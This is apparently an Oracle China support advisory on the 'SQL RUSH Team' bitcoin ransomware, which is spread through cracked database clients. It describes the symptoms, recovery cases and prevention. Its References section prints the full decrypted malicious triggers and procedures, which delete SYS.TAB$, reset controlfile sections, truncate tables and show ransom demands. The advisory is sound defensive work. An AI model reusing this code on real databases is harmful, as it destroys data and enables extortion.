对数据库的“比特币攻击”及防护

对数据库的“比特币攻击”及防护

ALERT: 数据库存在遭受比特币攻击的风险

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

In this Document

Description

Occurrence

Symptoms

Workaround

Solution

References

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

APPLIES TO:

Oracle Database - any Edition - any Version

Information in this document applies to any platform.

DESCRIPTION

用户使用客户端连接数据库或者数据库Alert日志中出现ORA-20312/ORA-20313/ORA-20315等报错信息，描述数据库已被锁死，需要发送比特币到某个地址来解锁数据库。

OCCURRENCE

客户使用被恶意篡改的绿色版或破解版的客户端软件（如破解的PL/SQL Developer或者Toad等软件）去连接数据库，在此类软件中，在连接成功后，调用注入的SQL脚本（Login.sql、AfterConnect.sql、toad.ini等）执行恶意代码，在数据库中生成三个触发器和四个存储过程。

当数据库重启或者用户连接数据库时，触发器会调用相应的存储过程操作数据库。这些存储过程会可能会破坏数据库，并抛出错误信息和提示信息。

SYMPTONS

用户使用客户端连接数据库或者数据库Alert日志中出现ORA-20312/ORA-20313/ORA-20315等报错信息，描述数据库已被锁死，需要发送比特币到某个地址来解锁数据库。这些注入脚本伪装成Oracle内部程序：

--

-- Copyright (c) 1988, 2011, Oracle and/or its affiliates.

-- All rights reserved.

--

-- NAME

-- login.sql

--

-- DESCRIPTION

-- PL/SQL global login "site profile" file

--

-- Add any PL/SQL commands here that are to be executed when a

-- user starts PL/SQL, or uses the PL/SQL CONNECT command.

--

-- USAGE

-- This script is automatically run

--

-- This SQL was created by Oracle ; You should never remove/delete it!

-- MODIFIED (MM/DD/YY)

-- ……

两个已知的报错信息如下:

例子 1:

Alert.log 信息:

Thu Apr 13 13:48:55 2017

Errors in file /oracle/diag/rdbms/liantiaodb/liantiaodb/trace/liantiaodb\_ora\_5213.trc:

ORA-00604: 递归 SQL 级别 1 出现错误

ORA-20315: 你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: 在 "AIQRY.DBMS\_CORE\_INTERNAL ", line 25

ORA-06512: 在 line 2

例子 2 使用客户端连接数据库时报错:

数据库中存在被加密的存储过程，名字如下：

"DBMS\_SUPPORT\_INTERNAL "

"DBMS\_ SYSTEM\_INTERNAL "

"DBMS\_ CORE\_INTERNAL "

"DBMS\_STANDARD\_FUN9"

三个触发器名字如下：

"DBMS\_SUPPORT\_INTERNAL "

"DBMS\_ SYSTEM\_INTERNAL "

"DBMS\_ CORE\_INTERNAL "

WORKAROUND

None

SOLUTION

针对现在已经发现的比特币攻击问题的处理方法如下：

1. 删除被恶意篡改的客户端软件

2. 根据不同的情况进行处理：

情况一：

SYSDATE-MIN(LAST\_ANALYZED) 小于1200天

数据库损坏情况：未损坏

处理办法：

a.删除三个触发器：

"DBMS\_SUPPORT\_INTERNAL "

"DBMS\_ SYSTEM\_INTERNAL "

"DBMS\_ CORE\_INTERNAL "

b.删除四个存储过错：

"DBMS\_SUPPORT\_INTERNAL "

"DBMS\_ SYSTEM\_INTERNAL "

"DBMS\_ CORE\_INTERNAL "

"DBMS\_STANDARD\_FUN9"

情况二：

SYSDATE-MIN(LAST\_ANALYZED) 大于1200天，并且SYSDATE-CREATED大于1200天但未重启 或者 SYSDATE-CREATED 小于1200天

数据库损坏情况：某些表被truncate

处理方法：

a.删除三个触发器和四个存储过程

b.使用备份把表恢复到truncate之前

c.使用DUL恢复（不一定能恢复所有的表，如truncate的空间已被使用）

情况三：

SYSDATE-CREATED 大于1200天

数据库损坏情况：某些表被truncate以及tab$被删除

处理方法：

a.删除三个触发器和四个存储过程

b.使用备份把表恢复到truncate之前

c.使用ORACHK开头的表恢复tab$

d.使用DUL恢复（不一定能恢复所有的表，如truncate的空间已被使用）

针对比特币攻击的预防措施：

1. 监控数据库中是否有相应的触发器和存储过程。及时删除相应触发器和存储过程。

2. 限制DBA权限的使用。

3. 检查相关登录工具的自动化脚本，清理有风险的脚本：

SQL\*PLUS 中的glogin.sql/login.sql

Toad 中的toad.ini

PL/SQL Developer中的ogin.sql/AfterConnect.sql

4. 建议从官网下载工具，不要使用绿色版/破解版等。

REFERENCES

三个触发器的代码：

PROMPT Create "DBMS\_SUPPORT\_INTERNAL "

create or replace trigger "DBMS\_SUPPORT\_INTERNAL "

after startup on database

begin

"DBMS\_SUPPORT\_INTERNAL ";

end;

/

CREATE OR REPLACE TRIGGER "DBMS\_SYSTEM\_INTERNAL "

AFTER LOGON ON DATABASE

BEGIN

"DBMS\_SYSTEM\_INTERNAL ";

END;

/

CREATE OR REPLACE TRIGGER "DBMS\_CORE\_INTERNAL "

AFTER LOGON ON SCHEMA

BEGIN

"DBMS\_CORE\_INTERNAL ";

END;

/

四个加密的存储过程的代码解密后如下：

PROCEDURE "DBMS\_SUPPORT\_INTERNAL " IS

DATE1 INT :=10;

E1 EXCEPTION;

PRAGMA EXCEPTION\_INIT(E1, -20312);

BEGIN

SELECT NVL(TO\_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

IF (DATE1>=1200) THEN

EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS\_GUID,10)||' tablespace system as select \* from sys.tab$';

DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

COMMIT;

EXECUTE IMMEDIATE 'alter system checkpoint';

SYS.DBMS\_BACKUP\_RESTORE.RESETCFILESECTION(11);

SYS.DBMS\_BACKUP\_RESTORE.RESETCFILESECTION(12);

SYS.DBMS\_BACKUP\_RESTORE.RESETCFILESECTION(13);

SYS.DBMS\_BACKUP\_RESTORE.RESETCFILESECTION(14);

FOR I IN 1..2046 LOOP

DBMS\_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

DBMS\_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库');

END LOOP;

RAISE E1;

END IF;

EXCEPTION

WHEN E1 THEN

RAISE\_APPLICATION\_ERROR(-20312,'你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

WHEN OTHERS THEN

NULL;

END;

/

PROCEDURE "DBMS\_SYSTEM\_INTERNAL " IS

DATE1 INT :=10;

E1 EXCEPTION;

PRAGMA EXCEPTION\_INIT(E1, -20313);

BEGIN

SELECT NVL(TO\_CHAR(SYSDATE-MIN(LAST\_ANALYZED)),0) INTO DATE1 FROM ALL\_TABLES WHERE TABLESPACE\_NAME NOT IN ('SYSTEM','SYSAUX','EXAMPLE');

IF (DATE1>=1200) THEN

IF (UPPER(SYS\_CONTEXT('USERENV', 'MODULE'))!='C89239.EXE')

THEN

RAISE E1;

END IF;

END IF;

EXCEPTION

WHEN E1 THEN

RAISE\_APPLICATION\_ERROR(-20313,'你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

WHEN OTHERS THEN

NULL;

END;

/

PROCEDURE "DBMS\_CORE\_INTERNAL " IS

V\_JOB NUMBER;

DATE1 INT :=10;

STAT VARCHAR2(2000);

V\_MODULE VARCHAR2(2000);

E1 EXCEPTION;

PRAGMA EXCEPTION\_INIT(E1, -20315);

CURSOR TLIST IS SELECT \* FROM USER\_TABLES WHERE TABLE\_NAME NOT LIKE '%$%' AND TABLE\_NAME NOT LIKE '%ORACHK%' AND CLUSTER\_NAME IS NULL;

BEGIN

SELECT NVL(TO\_CHAR(SYSDATE-MIN(LAST\_ANALYZED)),0) INTO DATE1 FROM ALL\_TABLES WHERE TABLESPACE\_NAME NOT IN ('SYSTEM','SYSAUX','EXAMPLE');

IF (DATE1>=1200) THEN

FOR I IN TLIST LOOP

DBMS\_OUTPUT.PUT\_LINE('table\_name is ' ||I.TABLE\_NAME);

STAT:='truncate table '||USER||'.'||I.TABLE\_NAME;

DBMS\_JOB.SUBMIT(V\_JOB, 'DBMS\_STANDARD\_FUN9(''' || STAT || ''');', SYSDATE);

COMMIT;

END LOOP;

END IF;

IF (UPPER(SYS\_CONTEXT('USERENV', 'MODULE'))!='C89239.EXE')

THEN

RAISE E1;

END IF;

EXCEPTION

WHEN E1 THEN

RAISE\_APPLICATION\_ERROR(-20315,'你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

WHEN OTHERS THEN

RAISE\_APPLICATION\_ERROR(-20315,'你的数据库已被SQL RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com 我们将让你知道如何解锁你的数据库 Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5JaZ6vrSE (case sensitive), after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

END;

/

PROCEDURE DBMS\_STANDARD\_FUN9(V\_DDL IN VARCHAR2)

IS

BEGIN

EXECUTE IMMEDIATE V\_DDL;

END;

/

来自 <<https://blogs.oracle.com/cnsupport_news/%e5%af%b9%e6%95%b0%e6%8d%ae%e5%ba%93%e7%9a%84%e2%80%9c%e6%af%94%e7%89%b9%e5%b8%81%e6%94%bb%e5%87%bb%e2%80%9d%e5%8f%8a%e9%98%b2%e6%8a%a4>>

Created with Microsoft OneNote 2016.